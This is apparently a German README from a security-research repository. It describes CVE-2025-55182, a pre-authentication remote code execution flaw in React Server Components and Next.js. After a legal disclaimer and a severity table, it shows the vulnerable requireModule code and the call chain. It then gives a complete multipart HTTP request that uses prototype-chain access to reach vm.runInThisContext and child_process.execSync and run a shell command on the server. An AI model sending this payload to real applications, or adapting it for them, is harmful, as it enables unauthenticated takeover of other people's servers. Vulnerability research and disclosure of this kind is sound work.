
Vereinheitlichtes Sicherheitsforschungstool
Sicherheitsforschung von schema.cx
„Kontrolle ist eine Illusion. Es sind die Systeme, die wir bauen, die uns kontrollieren – es sei denn, wir verstehen sie zuerst.“
DIESES WERKZEUG IST NUR FÜR AUTORISIERTE SICHERHEITSTESTS
STOPP. LESEN SIE DIES, BEVOR SIE FORTFAHREN.
Dieses Repository enthält Proof-of-Code für eine kritische Sicherheitslücke. Durch den Zugriff, das Herunterladen oder die Nutzung von Materialien in diesem Repository erkennen Sie Folgendes an und stimmen zu:
Schriftliche Genehmigung erforderlich: Sie MÜSSEN eine ausdrückliche, schriftliche Genehmigung des Systemeigentümers haben, bevor Sie Sicherheitstests durchführen. Mündliche Vereinbarungen reichen nicht aus.
Umfangsbeschränkungen: Tests müssen auf Systeme beschränkt sein, die in Ihrer Genehmigung ausdrücklich aufgeführt sind. „Scope Creep“ ist nicht gestattet.
Anwendbare Gesetze: Unbefugter Zugriff auf Computersysteme verstößt gegen:
DIE AUTOREN UND MITWIRKENDEN DIESES REPOSITORY:
„Die Frage ist nicht, ob wir die Schwachstelle ausnutzen können. Es ist die Frage, ob wir es sollten und zu welchem Zweck.“
CVE-2025-55182 ist eine kritische Pre-Authentication Remote Code Execution (RCE) Schwachstelle, die React Server Components in React 19.x- und Next.js 15.x-16.x-Anwendungen betrifft.
Diese Schwachstelle ermöglicht es jedem nicht authentifizierten Angreifer mit Netzwerkzugriff auf eine angreifbare Anwendung, beliebige Befehle auf dem Server auszuführen. Der Angriff erfordert keine Anmeldedaten, keine Benutzerinteraktion und kann vollständig automatisiert werden. Eine erfolgreiche Ausnutzung führt zu:
| Metrik | Bewertung |
|---|---|
| CVSS v3.1 Basisscore | 10.0 KRITISCH |
| Angriffsvektor | Netzwerk |
| Angriffskomplexität | Niedrig |
| Erforderliche Privilegien | Keine |
| Benutzerinteraktion | Keine |
| Auswirkung (V/I/V) | Hoch / Hoch / Hoch |
„Menschen vertrauen Systemen, weil sie sie nicht verstehen. Dieses Vertrauen ist eine Schwachstelle.“
Die Schwachstelle existiert in der Implementierung von Reacts Flight-Protokoll innerhalb der Funktion requireModule. Diese Funktion verwendet die Klammernotation, um auf Modulexporte basierend auf benutzergesteuerter Eingabe zuzugreifen, ohne zu validieren, dass die angeforderte Eigenschaft eine eigene Eigenschaft des Moduls ist.
Position des angreifbaren Codes:
react-server-dom-webpack/cjs/react-server-dom-webpack-server.node.development.js
Funktion: requireModule (ca. Zeilen 2546-2558 in v19.0.0)
Angreifbares Muster:
function requireModule(metadata) {
var moduleExports = __webpack_require__(metadata[0]);
// ... asynchrone Behandlung ...
return moduleExports[metadata[2]]; // ← ANGREIFBAR: Keine hasOwnProperty-Prüfung
}
Der Angriff nutzt die Prototyp-Ketten-Traversierung in JavaScript:
$ACTION_0:0 enthält JSON mit von Angreifer kontrollierten Eigenschaften id (Modul#Export-Format) und bound (Argumente)constructor oder Zugriff auf Prototyp-Eigenschaften können Angreifer auf integrierte Node.js-Module verweisenvm.runInThisContext, child_process.execSync oder fs.readFileSync werden mit vom Angreifer bereitgestellten Argumenten ausgeführtHTTP POST /formaction
↓
decodeAction(formData, serverManifest)
↓
loadServerReference(manifest, value.id, value.bound)
↓
resolveServerReference(config, id) // Analysiert "Modul#Export"-Format
↓
requireModule(metadata)
↓
moduleExports[metadata[2]] // Prototyp-Kettenzugriff → RCE
POST /api/action HTTP/1.1
Content-Type: multipart/form-data; boundary=----Boundary
------Boundary
Content-Disposition: form-data; name="$ACTION_REF_0"
------Boundary
Content-Disposition: form-data; name="$ACTION_0:0"
{"id":"vm#runInThisContext","bound":["require('child_process').execSync('whoami').toString()"]}
------Boundary--